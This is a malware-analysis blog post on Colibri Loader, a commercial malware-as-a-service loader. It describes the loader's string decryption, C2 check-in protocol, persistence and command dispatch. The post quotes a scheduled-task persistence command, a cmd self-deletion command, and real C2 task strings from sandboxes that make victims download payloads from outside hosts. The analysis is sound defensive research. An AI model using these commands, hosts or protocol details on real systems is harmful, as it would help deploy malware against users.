Colibri Loader - Back to basics

February 13, 2022 - Reading time: 23 minutes

Colibri Loader makes use of common malware techniques but presents a new entry into the malware as a service market with some interesting functions. 

Foreword


It has been close to a year since my last blog post, many things have happened in my personal life since then and have kept me quite occupied. Due to this I have worked with the incredible Casperinous to produce this post. Casperinous researched the malware and passed a report to me that I then edited a uploaded to create this post! 

Overview


Colibri Loader is a malware as a service that offers a residential loader along with a control panel written in PHP to give ease of use to the purchasers. The malware author claims to have written the malware in C/ASM and prices their creation at $150/week or $400/month. The malware offers the following functionality:

  • Run .exe as user or admin (runas+cmd), launch arguments support
  • Running x86 .exe/.dll in memory via LoadPE
  • Running x86 .dll via rundll32
  • Running x86 .dll via LoadLibrary
  • Running x86 .dll via regsrv32
  • Executing cmd commands
  • Update the bot with a fresh crypt or a new version
  • Removing a bot from an infected device.

The malware was put up for sale on 27/08/2021. It has numerous positive reviews.

String Decryption & Imports


When beginning to analyze Colibri we see a lot of issues within the disassembly, such as unrecognized functions and invalid call opcodes. To fix the opcodes a potential solution may be to undefine then redefine but we can take this one step further and use the Create function option. This function in IDA can define the function and set the functions' stack and variables. Unfortunately Colibri is using in-proper opcodes (0xb8) which casues errors during function definition. Our solution to this is to NOP (null opcode) the in-proper opcodes and then use the create function tool within IDA.

This clears up the analysis significantly and reveals the entry point of the loader. The malware begins by loading DLLs and resolving functions. To load DLLs Colibri uses LoadLibraryW and makes use of hardcoded arrays which contain the name of the DLL. Once the exports of the chosen DLL have been located the malware will use a custom hashing algorithm to create a hash of the export name. (See figure 2)

Figure 2: Hashing function

Colibri's important strings are XOR encrypted within the binary and when retrieved to be used by Colibri will be decrypted. Sometimes the string is unencrypted and will be stored within the key part of the encrypted strings structure. If the string is unencrypted then Colibri will return the key instead of proceeding with the decryption process.

Checks


Before carrying out important functions Colibri makes sure that it hasn't been cracked by checking the hardcoded C2 with a hash. This is to make sure that someone hasn't changed the C2 in an attempt to reuse/repurpose the malware. If the check fails then the malware will exit.  

Before continuing with the program flow, Colibri checks the language of the host system to determine whether they are within the CIS which it attempts to avoid. The malware acomplishes this by calling pGetUserDefaultLangID and then comparning the results to the following. If Colibri finds a match it will exit.

Language Code
Russian 1049
Belarusian 1059
Georgian 1079
Kazakh 1087
Tajik 1064
Uzbek 2115
Ukranian 1058
Unknown 106

Check in


After the language checks have been passed Colibri will attempt to reach the C2 and check that it is alive. Before reaching out to the C2, Colibri generates a unique identifier for the C2 that is calculated based on the serial number of the infected workstation. Once the UUID is generated the malware will send a request to the C2 gate with a "check" command, if the check fails and the C2 doesn't reply or does not reply correctly the malware will exit.

The general network communication of Colibri can be described as the following: 

  • The malware decrypts a variety of strings, depending on the type of the request (GET vs POST). Among those strings, there are: 
    • The type/command of each request in string format(check|update|ping).
    • RC4 keys used to encrypt the content (in case of a POST request and decrypt) and also decrypt the response of the server. 
    • Information about the version of the loader, but also the current campaign ID. 
  • If there is a POST request, the loader encrypts the content of the POST request with one of the decrypted RC4 keys. 
  • The loader received a response from the server. The response is BASE64 encoded. 
  • After decoding the response properly, it is decrypted with one of the RC4 keys. 
  • The response is checked against a set of hardcoded strings that indicate if the response is valid or not.  

Colibri has 3 type of commands that are sent within its HTTP requests: 

Command Description Response
check Checks the availability of the C2 server but also whether the workstation has been infected in the past. The loader accepts the string “SUCCESS” as a valid response.
update Sends information about the infected system. Colibri doesn't validate the response
ping Requests a task from the C2. If there is a task within the C2 it will respond with it.

When Colibri checks that the C2 is alive it will use the check command. Once the request is sent and a response is received the malware will decode the response using base64 and then use RC4 to decrypt the response. Once the response has been decrypted it will be compared to "SUCCESS". If the string and response do not match then the malware will exit.

Figure 3: Handling C2 response

Persistence


To maintain a presence on the infected system Colibri will move itself to a different filepath depending on the Windows version. Colibri checks if it is already in the destination and if not it will move to the following paths depending on the Windows version.

Figure 5: Determine persistence path

Depending on the Windows version Colibri will use the following paths:

  • Windows 10 or above will use C:\Users\\{username}\\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe 
  • Else for another edition will use C:\Users\{username}\Documents\WindowsPowerShell\dllhost.exe 

Once moved Colibri will schedule a task with the following command and then exit.

  • /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr {path of the loader} 

C2 Communications & Commands


After the scheduled task has executed Colibri again it will proceed to send a check in to the malware C2 and register the infection. Colibri has campaign IDs that allow the operator to label their malware. The malware will send the campaign id, malware version and information to the C2 using the update command.

Figure 6: Getting system information

Colibri encrypts the data with RC4 and then base64 encodes it. Then the encrypted information is POSTed to the C2.

Figure 7: Encryption of system information

Now that the infected system is registered to the C2 Colibri will send "ping" commands to the C2 to check for new commands and tell the C2 that the infected system is online. When a "ping" command is sent the C2 can return the response of "NUPD" which stands for NEED UPDATE, the C2 will respond this when it needs the malware to re-register the infected system. If the malware receives this response it will re-send the check in information to the C2.

If the malware does not get a response of "NUPD" then it will proceed to parse the response and determine what command it has received. The command is made up of four arguments that are separated by the '|' character. The command has the following structure.

ID Name Description
1 Command ID The ID determines how the command is handled and what data to use.
2 Payload URL The URL of the fie that Colibri will attempt to download and execute.
3 Payload Arguments The arguments that will accompany the payload. Usually this is used when the payload is a DLL and Colibri needs to know what export to use.
4 Use admin privileges Determines if the payload is to be ran with elevated privileges

Examples of commands found from public sandboxes: 

  • 0|http://80.92.205.102/SpotifySetup1.exe| 
  • 0|https://bitbucket.org/tradercrypto/releases/downloads/lol.exe| 

Colibri determines what function to call based on the first argument and will dispatch what command to use depending on what number it is.

Command ID Description Parameters
1 Download the payload and delete the file zone identifier. Then execute the payload with rundll32. Payload URL + Args
2 Download the payload and delete the file zone identifier. Then execute the payload with regsrv32. Payload URL + Args
3 Download the payload and delete the file zone identifier. Then load the payload with LoadLibraryW Payload URL
4 Creates a thread the injects the payload into it Payload URL
5 Executes a command with cmd open Args + Command
6 Cleanup infection by deleting persistence and removing itself. Also executes command. File Path
7 Same as 6th but doesn't execute command None
0 Download the payload and delete the file zone identifier. Then execute the payload. Payload URL + Args + Admin Rights Flag

Commands 0 to 3 are all related to downloading and executing a payload. The malware retrieves the payload with the User-Agent "GoogleBot". After downloading the payload, Colibri deletes its file zone identifier and then based on the id, the payload is executed. 

Figure 8: Call command depending on ID

The command id 7 is forcing the loader to delete its persistence mechanism, the scheduled task but also remove itself from the system. The removal is being achieved by using ShellExecuteW to execute the following command: 

  • cmd /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A {path of file} 

Command id 5 executes the third element in of the ping response arguments by using the ShellExecuteW API and calls "cmd open".

Figure 9: Commands 7 & 5

The command id 6 borrows elements from the command id 7, but before deleting itself, Colibri executes a file with “CreateProcessW” API. 

Figure 10: Delete itself

Lastly the command id 4 is responsible to download the payload and inject it to the current memory space. The injection is simple; The malware allocates space, then copies the executable and is setting the correct memory permissions on each section, rebuilds the import directory, rebase the code based on the new image base and then transfers the execution to its OEP. 

C2 Panel


The C2 panel provided is written in PHP and obfuscated, it contains code that will check a license key along with the expiry date of the malware so that the user can not use the malware past their purchase date.
Figure 11: Main Page
Figure 12: Bots Page
Figure 14: Tasks Page
Figure 15: Tasks Page Extended

Epilogue


The malware does not demonstrate innovation but certainly shows that sticking to the basics will create an effective piece of malware. Colibri is not a common malware seen in the wild and does not seem to be holding up its competition with the likes of Smoke Loader and Amadey. The malware is not without its flaws but the developer also indicates that they are willing to continually update their creation. I'd like to extend another thank you to the amazing Casperinous without him this blog post could not have been made, please check him out. Thank you for reading and see you in the next blog post!

Tools used to analyze Colibri: https://github.com/Casperinous/colibri_loader